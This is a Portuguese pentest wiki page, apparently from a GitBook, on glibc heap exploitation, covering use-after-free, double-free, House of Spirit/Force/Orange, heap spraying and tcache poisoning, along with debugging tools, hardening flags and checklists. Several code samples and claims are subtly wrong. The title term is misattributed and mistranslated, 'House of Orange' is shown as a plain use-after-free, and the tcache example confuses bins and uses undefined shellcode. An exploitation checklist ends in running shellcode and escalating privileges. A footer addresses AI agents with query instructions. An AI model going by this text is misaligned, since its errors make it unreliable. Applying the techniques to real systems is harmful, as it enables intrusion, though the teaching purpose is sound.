# Maloc Maleficarum

## 📑 **Índice**

1. [Fundamentos do Maloc Maleficarum](#-fundamentos-do-maloc-maleficarum)
2. [Arquitetura da Memória Heap](#-arquitetura-da-memória-heap)
3. [Técnicas de Exploração](#-técnicas-de-exploração)
4. [Heap Metadata e Estruturas](#-heap-metadata-e-estruturas)
5. [Ferramentas e Análise](#-ferramentas-e-análise)
6. [Detecção e Mitigação](#-detecção-e-mitigação)
7. [Checklists de Segurança](#-checklists-de-segurança)

***

## 🔍 **Fundamentos do Maloc Maleficarum**

### **O que é Maloc Maleficarum?**

"Maloc Maleficarum" (termo latino para "má alocação") é uma classe de técnicas de exploração de memória heap em C/C++. O termo foi popularizado por Phantasmal Phantasmagoria e refere-se ao abuso de funções de alocação de memória (`malloc`, `free`, `realloc`) para causar corrupção de memória, escalonamento de privilégios e execução arbitrária de código.

### **Por que o Heap é Vulnerável?**

```c
#include <stdlib.h>
#include <string.h>
#include <stdio.h>

// O heap é vulnerável porque:
// 1. O programador gerencia manualmente a memória
// 2. Metadados de alocação estão adjacentes aos dados
// 3. Use-after-free, double-free, e overflow são comuns

void vulnerable() {
    char *ptr1 = malloc(64);   // Aloca 64 bytes
    char *ptr2 = malloc(64);   // Aloca outro chunk
    
    // Vulnerabilidade: buffer overflow
    strcpy(ptr1, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
    // Sobrescreve metadados de ptr2!
    
    free(ptr1);
    free(ptr2);  // Metadados corrompidos!
}
```

### **Conceitos Fundamentais**

| Conceito     | Descrição                                              | Impacto                     |
| ------------ | ------------------------------------------------------ | --------------------------- |
| **Chunk**    | Bloco de memória gerenciado pelo allocator             | Unidade básica de alocação  |
| **Metadata** | Informações de controle (tamanho, flags)               | Alvo principal de corrupção |
| **Bins**     | Listas de chunks livres (fast, unsorted, small, large) | Estruturas de gerenciamento |
| **Arena**    | Estrutura principal do allocator                       | Gerencia múltiplos heaps    |

***

## 🏗️ **Arquitetura da Memória Heap**

### **Estrutura do Heap no Linux (glibc)**

```c
// Representação de um chunk alocado
struct malloc_chunk {
    size_t mchunk_prev_size;  // Tamanho do chunk anterior (se livre)
    size_t mchunk_size;       // Tamanho do chunk atual + flags
    
    struct malloc_chunk *fd;  // Forward pointer (quando livre)
    struct malloc_chunk *bk;  // Backward pointer (quando livre)
    
    // Dados do usuário começam aqui
};
```

### **Layout de Memória**

```
+-------------------+
|  Chunk Header     | <- prev_size (8 bytes)
|  (metadata)       | <- size + flags (8 bytes)
+-------------------+
|  User Data        | <- Ponteiro retornado por malloc
|                   |
+-------------------+
|  Chunk Header     |
|  (next chunk)     |
+-------------------+
```

### **Flags de Tamanho**

```c
// Bits da flag de tamanho
#define PREV_INUSE 0x1    // Chunk anterior está em uso
#define IS_MMAPPED 0x2    // Alocado com mmap()
#define NON_MAIN_ARENA 0x4 // Alocado em arena não principal

// Exemplo: size = 0x41 = 0x40 (tamanho) + 0x1 (PREV_INUSE)
```

### **Tipos de Bins**

```c
// Fast bins (16-160 bytes) - Single-linked list
// Small bins (até 512 bytes) - Double-linked list
// Unsorted bin - Chunks recém-liberados
// Large bins (acima de 512 bytes) - Double-linked list ordenada
```

***

## ⚔️ **Técnicas de Exploração**

### **1. Use-After-Free (UAF)**

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

struct user {
    char name[32];
    void (*print)(struct user*);
};

void print_user(struct user *u) {
    printf("User: %s\n", u->name);
}

void print_admin(struct user *u) {
    printf("ADMIN: %s\n", u->name);
    system("/bin/sh");
}

int main() {
    struct user *u = malloc(sizeof(struct user));
    u->print = print_user;
    strcpy(u->name, "Alice");
    
    // Uso legítimo
    u->print(u);
    
    // Libera e reusa
    free(u);
    
    // Use-After-Free! O ponteiro ainda é usado
    // Mas agora outro objeto pode ocupar o mesmo espaço
    struct user *attacker = malloc(sizeof(struct user));
    
    // Atacante controla os dados
    strcpy(attacker->name, "Evil");
    attacker->print = print_admin;
    
    // Acesso ao ponteiro antigo executa função maliciosa
    u->print(u);  // Executa print_admin()!
    
    return 0;
}
```

### **2. Double-Free**

```c
#include <stdlib.h>
#include <string.h>

void double_free_vulnerable() {
    char *ptr = malloc(64);
    
    // Primeiro free
    free(ptr);
    
    // Segundo free do mesmo ponteiro!
    free(ptr);  // Double-free!
    
    // Agora o allocator está corrompido
    char *a = malloc(64);
    char *b = malloc(64);
    
    // a e b podem apontar para o mesmo local!
    strcpy(a, "AAAA");
    strcpy(b, "BBBB");  // Sobrescreve a!
}
```

### **3. Chunk Overlap / Heap Overflow**

```c
#include <stdlib.h>
#include <string.h>
#include <stdio.h>

struct secret {
    char password[16];
    int is_admin;
};

struct data {
    char buffer[64];
};

void overflow_vulnerable() {
    struct data *d = malloc(sizeof(struct data));
    struct secret *s = malloc(sizeof(struct secret));
    
    strcpy(s->password, "secret123");
    s->is_admin = 0;
    
    // Buffer overflow: escreve além do buffer
    strcpy(d->buffer, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
    // Sobrescreve o chunk de s!
    
    printf("Password: %s\n", s->password);
    printf("Admin: %d\n", s->is_admin);  // Agora é 0x41414141!
    
    free(d);
    free(s);
}
```

### **4. House of Spirit**

```c
#include <stdlib.h>
#include <string.h>

// Técnica: Criar chunk falso no stack para controlar alocação
void house_of_spirit() {
    // Chunk falso no stack
    size_t fake_chunk[4];
    
    // Configurar metadados
    fake_chunk[0] = 0;           // prev_size
    fake_chunk[1] = 0x60;        // size = 0x60 (marca como livre)
    
    // Fazer o allocator acreditar que este é um chunk livre
    free((void*)&fake_chunk[2]);
    
    // Agora malloc retorna endereço do stack!
    void *ptr = malloc(0x50);
    // ptr aponta para fake_chunk+2
    
    // Isso permite controlar o stack!
    strcpy(ptr, "Evil Code");
}
```

### **5. House of Force (Top Chunk)**

```c
#include <stdlib.h>
#include <string.h>
#include <stdio.h>

void house_of_force() {
    // Vulnerável: tamanho pode ser controlado
    size_t size = 0xffffffffffffffff;  // Tamanho enorme
    
    // Forçar overflow do top chunk
    void *ptr = malloc(size);
    
    // O allocator ajusta o top chunk para um endereço controlado
    // Permite alocar memória em qualquer endereço!
    
    // Exemplo: alocar sobre __malloc_hook
    void *evil = malloc(0x20);
    // evil aponta para __malloc_hook!
}
```

### **6. House of Orange**

```c
#include <stdlib.h>
#include <string.h>

struct file {
    char name[32];
    void (*close)(struct file*);
};

void close_file(struct file *f) {
    printf("Closing %s\n", f->name);
}

void close_malicious(struct file *f) {
    system("/bin/sh");
}

void house_of_orange() {
    // Alocar chunk
    struct file *f = malloc(sizeof(struct file));
    f->close = close_file;
    strcpy(f->name, "data.txt");
    
    // Liberar chunk (vulnerável se não zerar)
    free(f);
    
    // Atacante reutiliza memória antes de ser re-inicializada
    struct file *evil = malloc(sizeof(struct file));
    strcpy(evil->name, "evil");
    evil->close = close_malicious;
    
    // Use-after-free: f ainda aponta para a memória
    f->close(f);  // Executa close_malicious!
}
```

### **7. Heap Spraying**

```c
#include <stdlib.h>
#include <string.h>

#define SPRAY_COUNT 1000
#define CHUNK_SIZE 0x1000

void heap_spray() {
    void *spray[SPRAY_COUNT];
    
    // Preencher heap com chunks controlados
    for (int i = 0; i < SPRAY_COUNT; i++) {
        spray[i] = malloc(CHUNK_SIZE);
        
        // Preencher com NOP sled + shellcode
        memset(spray[i], 0x90, CHUNK_SIZE);
        memcpy(spray[i] + CHUNK_SIZE - 256, shellcode, sizeof(shellcode));
    }
    
    // Quando ocorrer um salto para o heap, cairá no NOP sled
    // e executará o shellcode
}
```

### **8. Tcache Poisoning (glibc 2.26+)**

```c
#include <stdlib.h>
#include <string.h>
#include <stdio.h>

void tcache_poisoning() {
    // tcache per-thread cache (glibc 2.26+)
    
    // Alocar 7 chunks (preencher tcache)
    void *chunks[7];
    for (int i = 0; i < 7; i++) {
        chunks[i] = malloc(0x80);
    }
    
    // Liberar todos
    for (int i = 0; i < 7; i++) {
        free(chunks[i]);
    }
    
    // Agora tcache está cheio
    
    // Alocar e liberar outro chunk (vai para unsorted bin)
    void *victim = malloc(0x80);
    free(victim);
    
    // Corromper fd pointer do chunk na unsorted bin
    *(size_t*)victim = (size_t)__free_hook;
    
    // Alocar até esvaziar tcache
    for (int i = 0; i < 7; i++) {
        malloc(0x80);
    }
    
    // Próxima alocação vem da unsorted bin corrompida
    void *hook = malloc(0x80);
    // hook aponta para __free_hook!
    
    // Sobrescrever __free_hook
    *(void**)hook = system;
    
    // Chamar free com /bin/sh executa system()
    free(malloc(0x10));  // Alocar e liberar com "/bin/sh"
}
```

***

## 🔧 **Heap Metadata e Estruturas**

### **Estruturas Críticas (glibc)**

```c
// __malloc_hook - Intercepta chamadas malloc
void *(*__malloc_hook)(size_t, const void *);

// __free_hook - Intercepta chamadas free
void (*__free_hook)(void *, const void *);

// __realloc_hook - Intercepta chamadas realloc
void *(*__realloc_hook)(void *, size_t, const void *);

// main_arena - Estrutura principal do allocator
struct malloc_state {
    mutex_t mutex;
    int flags;
    mfastbinptr fastbinsY[NFASTBINS];
    mchunkptr top;
    mchunkptr last_remainder;
    mchunkptr bins[NBINS * 2 - 2];
    unsigned int binmap[BINMAPSIZE];
    struct malloc_state *next;
    struct malloc_state *next_free;
    INTERNAL_SIZE_T attached_threads;
    INTERNAL_SIZE_T system_mem;
    INTERNAL_SIZE_T max_system_mem;
};
```

### **Offsets para Exploração**

```c
// Offsets comuns (x86_64)
#define MALLOC_HOOK_OFFSET   0x1ebc60  // __malloc_hook
#define FREE_HOOK_OFFSET     0x1ebc68  // __free_hook
#define MAIN_ARENA_OFFSET    0x1ebc40  // main_arena

// Obter endereços em runtime
unsigned long libc_base = 0x7f0000000000; // Exemplo
unsigned long __malloc_hook = libc_base + MALLOC_HOOK_OFFSET;
```

***

## 🛠️ **Ferramentas e Análise**

### **1. GDB com Heap Commands**

```bash
# Instalar gef, pwndbg ou peda
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh

# Comandos úteis
gdb ./vulnerable

# Verificar estado do heap
(gdb) heap
(gdb) heap chunks
(gdb) heap bins
(gdb) heap chunks -v
(gdb) heap bins -v
(gdb) vis_heap_chunks

# Breakpoints em funções de alocação
(gdb) break malloc
(gdb) break free
(gdb) break __malloc_hook
```

### **2. Valgrind com Massif**

```bash
# Detectar vazamentos e corrupção
valgrind --leak-check=full --track-origins=yes ./program

# Análise de heap com Massif
valgrind --tool=massif --massif-out-file=massif.out ./program
ms_print massif.out
```

### **3. AddressSanitizer (ASAN)**

```bash
# Compilar com ASAN
gcc -fsanitize=address -g -o program program.c

# Executar
./program
# ASAN detecta use-after-free, double-free, heap overflow
```

### **4. Script de Exploração**

```python
#!/usr/bin/env python3
# heap_exploit.py

import struct
import subprocess

class HeapExploit:
    """Framework para exploração de heap"""
    
    def __init__(self, binary, libc=None):
        self.binary = binary
        self.libc = libc
        self.addresses = {}
    
    def get_libc_base(self):
        """Obter base da libc em runtime"""
        with open('/proc/self/maps', 'r') as f:
            for line in f:
                if 'libc' in line and 'r-xp' in line:
                    base = int(line.split('-')[0], 16)
                    return base
        return 0
    
    def create_fake_chunk(self, size, fd=None, bk=None):
        """Criar chunk falso"""
        chunk = struct.pack('<Q', 0)      # prev_size
        chunk += struct.pack('<Q', size)  # size
        if fd:
            chunk += struct.pack('<Q', fd)  # fd
        else:
            chunk += struct.pack('<Q', 0)
        if bk:
            chunk += struct.pack('<Q', bk)  # bk
        else:
            chunk += struct.pack('<Q', 0)
        return chunk
    
    def house_of_spirit(self, target_addr, size=0x60):
        """Exploit House of Spirit"""
        # Criar chunk falso no alvo
        fake_chunk = self.create_fake_chunk(size)
        
        # Fazer o allocator acreditar que é um chunk livre
        # free(target_addr + 16)  # Apontar para dados
        
        # Agora malloc retornará target_addr
        return target_addr
    
    def tcache_poison(self, target_addr):
        """Exploit Tcache Poisoning"""
        # fd pointer deve apontar para target_addr
        # Liberar chunk, corromper fd, alocar novamente
        pass

# Uso
exploit = HeapExploit('./vulnerable')
libc_base = exploit.get_libc_base()
print(f"libc base: 0x{libc_base:x}")
```

***

## 🔍 **Detecção e Mitigação**

### **Proteções do Allocator**

```c
// Proteções modernas do glibc malloc

// 1. Safe-Linking (glibc 2.32+)
// Corrompe ponteiros fd/bk para detectar overwrites
#define PROTECT_PTR(pos, ptr) ((size_t)((size_t)(ptr) ^ (size_t)(pos) >> 12))

// 2. Tcache Stashing (glibc 2.30+)
// Verificações adicionais no tcache

// 3. Heap Protections (ASLR, PIE)
// Endereços aleatórios dificultam exploração
```

### **Hardening de Aplicações**

```bash
# Compilar com proteções
gcc -fstack-protector-strong -D_FORTIFY_SOURCE=2 -O2 -pie -fPIE -Wl,-z,relro,-z,now program.c

# Desabilitar ptrace para evitar debugging
echo 1 > /proc/sys/kernel/yama/ptrace_scope

# Configurar ASLR
echo 2 > /proc/sys/kernel/randomize_va_space
```

### **Código Seguro**

```c
#include <stdlib.h>
#include <string.h>

// Prática segura: sempre zerar após free
void safe_free(void **ptr) {
    if (ptr && *ptr) {
        free(*ptr);
        *ptr = NULL;  // Previne use-after-free
    }
}

// Prática segura: usar limites
void safe_copy(char *dest, const char *src, size_t max_len) {
    if (!dest || !src) return;
    strncpy(dest, src, max_len - 1);
    dest[max_len - 1] = '\0';
}

// Prática segura: verificar tamanhos
void *safe_malloc(size_t size) {
    if (size == 0 || size > 1024 * 1024) return NULL;
    return malloc(size);
}
```

### **ASAN Configuração**

```bash
# Compilar com ASAN em produção
export ASAN_OPTIONS=detect_leaks=1:malloc_context_size=30:verbosity=1

# Leak detection
export ASAN_OPTIONS=detect_leaks=1

# Core dump
export ASAN_OPTIONS=abort_on_error=1:disable_coredump=0
```

***

## 📋 **Checklists de Segurança**

### **Checklist de Prevenção**

* [ ] **Alocações**
  * [ ] Verificar retorno de malloc (não assumir sucesso)
  * [ ] Não usar memória após free
  * [ ] Zerar ponteiros após free
  * [ ] Limitar tamanho de alocações
* [ ] **Cópias**
  * [ ] Usar strncpy, memcpy com limites
  * [ ] Verificar tamanhos antes de operações
  * [ ] Nunca confiar em entrada do usuário
* [ ] **Compilação**
  * [ ] Habilitar stack protector
  * [ ] Usar PIE e RELRO
  * [ ] Compilar com ASAN em desenvolvimento
* [ ] **Runtime**
  * [ ] Configurar ASLR
  * [ ] Usar ptrace protection
  * [ ] Implementar canaries

### **Checklist de Exploração**

* [ ] **Reconhecimento**
  * [ ] Identificar versão da libc
  * [ ] Mapear endereços (ASLR, PIE)
  * [ ] Analisar estrutura de chunks
* [ ] **Técnicas**
  * [ ] Testar Use-After-Free
  * [ ] Testar Double-Free
  * [ ] Testar House of Spirit/Force
  * [ ] Testar Tcache Poisoning
* [ ] **Validação**
  * [ ] Confirmar controle de fluxo
  * [ ] Executar shellcode
  * [ ] Escalar privilégios

***

## 📊 **Conclusão e Boas Práticas**

### **Resumo Técnico**

```yaml
Maloc Maleficarum (Heap Exploitation):
  ✅ Permite execução arbitrária de código
  ✅ Técnicas sofisticadas e variadas
  ✅ Afeta aplicações C/C++ com gerenciamento manual

Defesas essenciais:
  ❌ Não usar ponteiros após free
  ✓ Zerar ponteiros após liberação
  ✓ Usar ASAN em desenvolvimento
  ✓ Habilitar proteções de compilação
  ✓ Configurar ASLR e PIE
```

### **Recomendações Finais**

1. **Para Desenvolvedores**
   * Nunca usar memória após free
   * Sempre zerar ponteiros após liberar
   * Usar ferramentas de análise estática
   * Compilar com proteções
2. **Para Pentesters**
   * Identificar versão da libc
   * Usar técnicas específicas para cada versão
   * Explorar tcache em versões recentes
   * Documentar cadeia de exploração
3. **Para Arquitetos**
   * Isolar processos com containers
   * Implementar seccomp para restringir syscalls
   * Usar linguagens com memory safety quando possível
   * Atualizar glibc regularmente


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/linguagens-de-programacao/low-level/maloc-maleficarum.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
